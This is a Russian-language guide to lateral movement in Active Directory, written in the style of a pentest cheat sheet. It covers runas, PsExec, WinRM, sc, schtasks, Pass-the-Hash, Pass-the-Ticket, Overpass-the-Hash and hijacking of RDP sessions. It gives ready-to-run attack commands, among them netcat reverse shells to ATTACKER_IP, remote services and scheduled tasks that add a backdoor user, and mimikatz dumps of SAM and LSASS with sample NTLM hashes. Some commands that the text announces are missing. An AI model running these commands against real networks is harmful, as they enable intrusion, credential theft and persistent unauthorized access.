Перемещение по AD
Lateral movement, выражаясь терминами военных - расширение плацдарма - набор техник продвижения по инфраструктуре для достижения конечных целей.
Для продвижения используются легитимные инструменты управления инфраструктурой: WinRM, RDP, SSH и т.д. Однако нужно понимать, что, к примеру, запуск SSH сессии из под локальной админиской учётки на компе бухгалтера рискует выглядит как минимум подозрительно.
Удалённый запуск процессов
Для удалённого запуска процессов можно использовать следующие инструменты:
runas
Используя ключ /netonly можно запустить команду от имени другого пользователя домена.
C:\> runas /netonly /user:hq.company.com\t1_super.admin "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"
Psexec
Этот инструмент из пакета Sysinternals позволяет админстратору запускать сервисы на удалённых компах к которым у него есть доступ. Работает на TCP:445, требует наличия членства в группе Администраторов.
Алгоритим работы следующий:
-
Подключается к шаре $Admin и копирует туда бинарник сервиса под именем
psexesvc.exe
-
Подключается к
scm
для создание и запуска процессаPSEXESVC
который вызывает переданный на первом шаге бинарник. -
Создает каналы для обработки stdin/stdout/stderr
Следующая команда запустит экземпляр cmd.exe на хосте MACHINE-IP
WinRM
WinRM - web-based протокол отправки Powershell командлетов на удалённые хосты. Включен по умолчанию, поэтому широко используется в качестве доступного вектора атаки. Работает на TCP:5985 (WinRM HTTP) или на TCP:5986 (WinRM HTTPS), требует наличия членства в группе Remote Management Users
Следующая команда запустит экземпляр cmd.exe на хосте target
Так как WinRM это фактически надстройка на powershell, аналогичный результат можно получить и в самом Powershell:
# Сначала нужно сформировать PSCredential объект
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
# А потом использовать его в Enter-PSSession для вызова удалённой сессии powershell
Enter-PSSession -Computername TARGET -Credential $credential
# Или для выполнения конкретной команды
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
sc
sc.exe может запускать сервисы на удалённом хосте. Работает на:
-
TCP:135, TCP:49152-65535 (DCE/RPC)
-
TCP:445 (RPC через именованные каналы SMB)
-
TCP:139 (RPC через именованные каналы SMB)
Причём сначала пробует подключится по TCP:135, а в случае неудачи - через именнованные SMB каналы.
sc.exe \\TARGET create EvilService binPath= "net user dummy Pass123 /add" start= auto
sc.exe \\TARGET start EvilService
После создания и запуска сервиса, на хосте TARGET будет создан пользователь dummy. Потом сервис можно удалить.
schtasks
Аналогично sc.exe, schtasks также может работать с удалёнными хостами. Следующие команды создадут задачу которая в свою очередь создаст пользователя dummy. Задача выполнится один раз, запуск будет произведен в ручную. После всех манипуляций, задача будет удалена.
schtasks /s TARGET /RU "SYSTEM" /create /tn "Eviltask" /tr "net user dummy Pass123 /add" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /TN "Eviltask"
schtasks /S TARGET /TN "Eviltask" /DELETE /F
Использование альтернативных аутентификационных сведений.
Исходя из принципа работы протоколов NTLM и Kerberos, можно сделать вывод о том, что для успешной аутентификации можно предъявить либо хэш пароля, либо билеты Kerberos.
Pass-the-Hash
В результате получения админских прав на одной из машин в сети, можно выдернуть хранящиеся на этой машине (в локальной SAM или непосредственно в памяти с которой работает LSASS) NTLM хэши используя mimikatz. Далее их можно попытаться сбрутить, или же использовать напрямую:
Извлечение из локальной SAM
Этот метод позволяет получить хэши локальных пользователей. сведения о доменных учётах не хранятся в локальной SAM.
mimikatz # privilege::debug # проверка достаточности прав - должно вернуть "ОК"
mimikatz # token::elevate
mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50
Извлечение из памяти LSASS
Этот метод позволяет извлечь любые хэши тех локальных и доменных пользователей, которые были недавно авторизованны на машине.
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.dummy
Domain : HQ
Logon Server : HQDC_1
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.dummy
* Domain : HQ
* NTLM : 6b4a57f67805a663c818106dc0648484
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.dummy /domain:hq.company.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
Выполнение такой команды аналогично использованию runas /netonly
, но только с хэшем, а не с паролем.
В Linux PtH можно реализовать через:
Pass-the-Ticket
О том как работает аутентификация kerberos, можно почитать тут.
В случае наличия SYSTEM прав на машине, с помощью mimikatz можно попытаться извлечь билеты Kerberos и сессионные ключи из памяти LSASS:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
# Билеты сохранятся в виде файлов .kirbi в текущей директории
mimikatz умеет извлекать как TGT так и TGS билеты. Понятно, что TGT представляют больший интерес, так как позволят обратится к KDC за TGS билетами для любого сервиса (если, конечно пользователю - владельцу билета предоставлен соответствующий доступ к сервису).
После извелечения билетов, можно внедрить нужный в текущую сессиию:
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-HQ.COMPANY.COM.kirbi
# Где ptt это pass-the-ticket
После внедрения билета в сессию, запуск любого софта будет происходить от имени учётки которая связана с этим билетом. Проверить корректность внедрения билета можно стандартной windows утилитой klist
Overpass-the-hash / Pass-the-Key
Атака аналогичная по своей сути с PtH, однако работает в Kerberos окружении.
Когда пользователь запрашивает TGT, он отправляет метку времени зашифрованную ключем - производным от его пароля. Алгоритмы такого шифрования могут применятся различные: RC4, AES128, AES256. Идея атаки заключается в том, что если будет известен вышеуказанный ключ, можно будет обратится к KDC для получения TGT без использования пароля. (отсюда и имя - PtK)
Извлечь ключи и выполнить с их помощью полезную работу снова поможет mimikatz:
# Извлекаем ключи:
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
# Используем ключи:
# В зависимости от алгоритма шифрования, нужно будет подставить необходимый.
mimikatz # sekurlsa::pth /user:Administrator /domain:hq.company.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"
Использование не закрытых RDP сессий
Если не выйти из RDP сессии, а просто закрыть окно, сессия останется активной и будет оставаться в активном состоянии до перезагрузки хоста.
Имея на таком хосте права уровня SYSTEM можно подключится к любой из таких "забытых" сессий:
-
Запустить
cmd
от Администратора -
Запустить оттуда
psexec64.exe
с ключём-s cmd.exe
(-s - запуск с правами SYSTEM) -
С помошью
query user
получить сведения об имеющихся сессиях. -
Подключиться к нужной через `tscon $SESSION-NUMBER /dest:SESSION-NAME
Обрати внимание
В Windows Server 2019 - так сделать уже нельзя